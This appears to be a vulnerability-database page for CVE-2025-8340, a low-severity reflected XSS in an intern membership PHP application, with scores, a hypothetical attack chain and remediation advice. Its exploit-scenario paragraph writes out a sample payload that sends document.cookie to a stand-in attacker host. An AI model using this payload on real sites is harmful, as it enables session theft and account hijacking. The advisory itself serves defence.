Skip to main content

Intern Membership Management System CVE-2025-8340

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-31 cna@vuldb.com
2.1
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious URL with XSS payload in email parameter
  2. Delivery
    Share link via phishing email or social media
  3. Exploit
    Victim clicks link and visits vulnerable fill_details.php
  4. Install
    Error message handler renders unsanitized email input
  5. C2
    Injected JavaScript executes in victim's browser
  6. Execute
    Session cookie or sensitive data exfiltrated
  7. Impact
    Attacker uses stolen session to impersonate victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

User interaction is required-the victim must click a malicious link or visit an attacker-controlled page that references the vulnerable application. The email parameter must not be pre-populated with a legitimate value; the application must render user-supplied input directly in the error message without sanitization. No authentication is required to trigger the vulnerability; the exploit works against unauthenticated error pages. The application must have fill_details.php accessible and functional. Exploitation is limited to the victim's browser session and does not grant server-side code execution; the attacker cannot directly alter the application or database. Modern browsers with XSS protections enabled may block some variants, but reflected XSS is not uniformly mitigated by browser filters.

Impact

This vulnerability presents a LOW real-world priority despite being public. Multiple signals converge to suggest limited practical risk: CVSS 2.1 is in the minimal category, EPSS score of 0.07% (20th percentile) indicates very low exploitation likelihood in the wild, and the attack requires user interaction (UI:P) via a social-engineered malicious link. The CVSS vector confirms network accessibility but mandates user participation. While a public exploit exists, the EPSS percentile suggests actual weaponization or mass exploitation attempts are negligible. The integrity-only impact (VI:L with all confidentiality and availability impacts scored as N/A) further limits the attack's severity-stolen session cookies or form data would require downstream credential or data abuse. This is a low-hanging vuln in a niche product with minimal adoption; prioritize only if the application is deployed in high-value environments handling sensitive membership data or if used as a stepping stone in a targeted phishing campaign.

Exploit ScenarioDerived

An attacker crafts a malicious URL with an XSS payload in the email parameter (e.g., fill_details.php?email=test@example.com<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) and shares it via email or social media targeting users of the application. When a logged-in victim clicks the link, the error message handler renders the injected script, which executes in their browser and exfiltrates their session cookie to the attacker's server. The attacker then uses the stolen session to hijack the victim's account and access or modify membership records.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Reflected cross-site scripting (XSS) in Intern Membership Management System 1.0 allows remote attackers to inject malicious scripts via the email parameter in fill_details.php, executable only with user interaction. The vulnerability has a publicly available exploit and affects the error message handler, resulting in integrity impact (CVSS 2.1, EPSS 0.07%). While the attack vector is network-accessible and requires minimal complexity, the low CVSS and EPSS scores reflect the necessity for user interaction and limited technical impact.

RemediationAI

No vendor-released patch identified at time of analysis. Immediate mitigation: update or remove the application if possible. If retention is required, apply input validation and output encoding to the email parameter in fill_details.php-validate email format server-side using a strict whitelist regex, and encode all user-supplied input before rendering in HTML error messages using htmlspecialchars(input, ENT_QUOTES, 'UTF-8') in PHP. Implement a Content Security Policy (CSP) header (e.g., script-src 'self') to limit inline script execution. Disable script execution in error pages by setting X-Content-Type-Options: nosniff and X-XSS-Protection: 1; mode=block headers. Apply web application firewall (WAF) rules to detect and block payloads matching XSS patterns in the email parameter. Trade-off: strict input validation may reject legitimate email edge cases; test with international domain names and special characters. Contact code-projects.org or check their repository at https://code-projects.org/ for security updates.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in fill_details.php, a PHP script component responsible for error message handling in an intern membership management application. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation, or Reflected XSS), where user-supplied input from the email parameter is not properly sanitized or encoded before being output in HTML error messages. The application fails to apply contextual output encoding or input validation, allowing an attacker to craft a malicious URL containing JavaScript payloads in the email parameter. When a victim visits the crafted URL, the unvalidated input is rendered in their browser within the error message handler, causing the injected script to execute in their session context.

Know when Intern Membership Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability was found in code-projects Intern Membership Management System 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file fill_details.php of the component Error Message Handler. The manipulation of the argument email leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:carmelo:intern_membership_management_system:1.0:*:*:*:*:*:*:*
CVE-2023-7131 CRITICAL POC
9.8 Dec 28

A vulnerability was found in code-projects Intern Membership Management System 2.0 and classified as critical. Rated cri

CVE-2025-8339 MEDIUM POC
5.5 Jul 31

SQL injection in code-projects Intern Membership Management System 1.0 allows unauthenticated remote attackers to manipu

CVE-2025-8495 MEDIUM POC
5.5 Aug 03

A vulnerability, which was classified as critical, was found in code-projects Intern Membership Management System 1.0. R

CVE-2025-8493 MEDIUM POC
5.5 Aug 02

A vulnerability classified as critical was found in code-projects Intern Membership Management System 1.0. Rated medium

CVE-2025-8494 MEDIUM POC
5.5 Aug 03

A vulnerability, which was classified as critical, has been found in code-projects Intern Membership Management System 1

CVE-2026-0700 MEDIUM POC
5.5 Jan 08

Intern Membership Management System versions up to 1.0 contains a vulnerability that allows attackers to sql injection (

CVE-2023-7132 MEDIUM POC
5.4 Dec 28

A vulnerability was found in code-projects Intern Membership Management System 2.0. Rated medium severity (CVSS 5.4), th

CVE-2026-0701 LOW POC
2.0 Jan 08

SQL injection in the admin panel of code-projects Intern Membership Management System 1.0 allows authenticated attackers

CVE-2026-0850 LOW POC
2.0 Jan 11

Intern Membership Management System versions up to 1.0 contains a vulnerability that allows attackers to sql injection (

CVE-2026-0729 LOW POC
2.0 Jan 08

SQL injection in the Intern Membership Management System 1.0 add_activity.php file allows authenticated administrators t

CVE-2026-0699 LOW POC
2.0 Jan 08

SQL injection in the Intern Membership Management System 1.0 admin panel allows authenticated attackers with high privil

CVE-2026-0697 LOW POC
2.0 Jan 08

SQL injection in the Intern Membership Management System 1.0 admin panel allows remote attackers with high privileges to

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy